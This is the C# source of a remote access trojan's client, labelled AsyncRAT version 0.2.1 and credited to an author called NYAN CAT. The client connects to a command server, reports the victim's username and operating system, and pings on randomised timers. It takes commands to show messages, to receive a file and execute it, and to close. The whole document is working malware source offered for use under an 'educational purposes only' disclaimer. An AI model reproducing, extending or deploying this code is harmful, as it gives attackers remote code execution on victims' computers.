using AsyncRAT_Sharp.MessagePack; using Microsoft.VisualBasic; using Microsoft.VisualBasic.Devices; using System; using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Text; using System.Threading; using System.Windows.Forms; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket // Contact Me : https://github.com/NYAN-x-CAT // This program Is distributed for educational purposes only. namespace Client { class Settings { public static readonly string IP = "127.0.0.1"; public static readonly int Port = 8080; public static readonly string Version = "0.2.1"; } class Program { public static Socket Client { get; set; } public static byte[] Buffer { get; set; } public static long Buffersize { get; set; } public static bool BufferRecevied { get; set; } public static System.Threading.Timer Tick { get; set; } public static MemoryStream MS { get; set; } static void Main(string[] args) { InitializeClient(); while (true) { Thread.Sleep(1000); } } public static void InitializeClient() { try { Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, ReceiveTimeout = -1, SendTimeout = -1, }; Client.Connect(Settings.IP, Settings.Port); Debug.WriteLine("Connected!"); Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; MS = new MemoryStream(); BeginSend(SendInfo()); TimerCallback T = Ping; Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { Debug.WriteLine("Disconnected!"); Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000)); Reconnect(); } } public static void Reconnect() { if (Client.Connected) return; Tick?.Dispose(); try { if (Client != null) { Client.Close(); Client.Dispose(); } } catch { } MS?.Dispose(); InitializeClient(); } public static byte[] SendInfo() { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString(); return msgpack.Encode2Bytes(); } public static void ReadServertData(IAsyncResult ar) { try { if (Client.Connected == false) { Reconnect(); return; } int Recevied = Client.EndReceive(ar); if (Recevied > 0) { if (BufferRecevied == false) { if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize - 1]; BufferRecevied = true; } } else { MS.Write(Buffer, 0, Buffer.Length); } } else { MS.Write(Buffer, 0, Recevied); if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(Read, MS.ToArray()); MS.Dispose(); MS = new MemoryStream(); Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; } else { Buffer = new byte[Buffersize - MS.Length]; } } Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } else { Reconnect(); } } catch { Reconnect(); } } public static void Read(object Data) { try { Received(); MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes((byte[])Data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "sendMessage": { MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString); } break; case "Ping": { Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); } break; case "sendFile": { string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath); Process.Start(FullPath); } break; case "closeConnection": { try { Client.Shutdown(SocketShutdown.Both); } catch { } Environment.Exit(0); } break; } } catch { } } private static void Received() { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Received"; BeginSend(msgpack.Encode2Bytes()); } public static void Ping(object obj) { try { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); BeginSend(msgpack.Encode2Bytes()); } catch { } } public static void BeginSend(byte[] Msgs) { lock (Client) { if (Client.Connected) { try { using (MemoryStream MS = new MemoryStream()) { byte[] buffer = Msgs; byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); MS.Write(buffersize, 0, buffersize.Length); MS.Write(buffer, 0, buffer.Length); Client.Poll(-1, SelectMode.SelectWrite); Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); } } catch { Reconnect(); } } } } public static void EndSend(IAsyncResult ar) { try { Client.EndSend(ar); } catch { Reconnect(); } } } }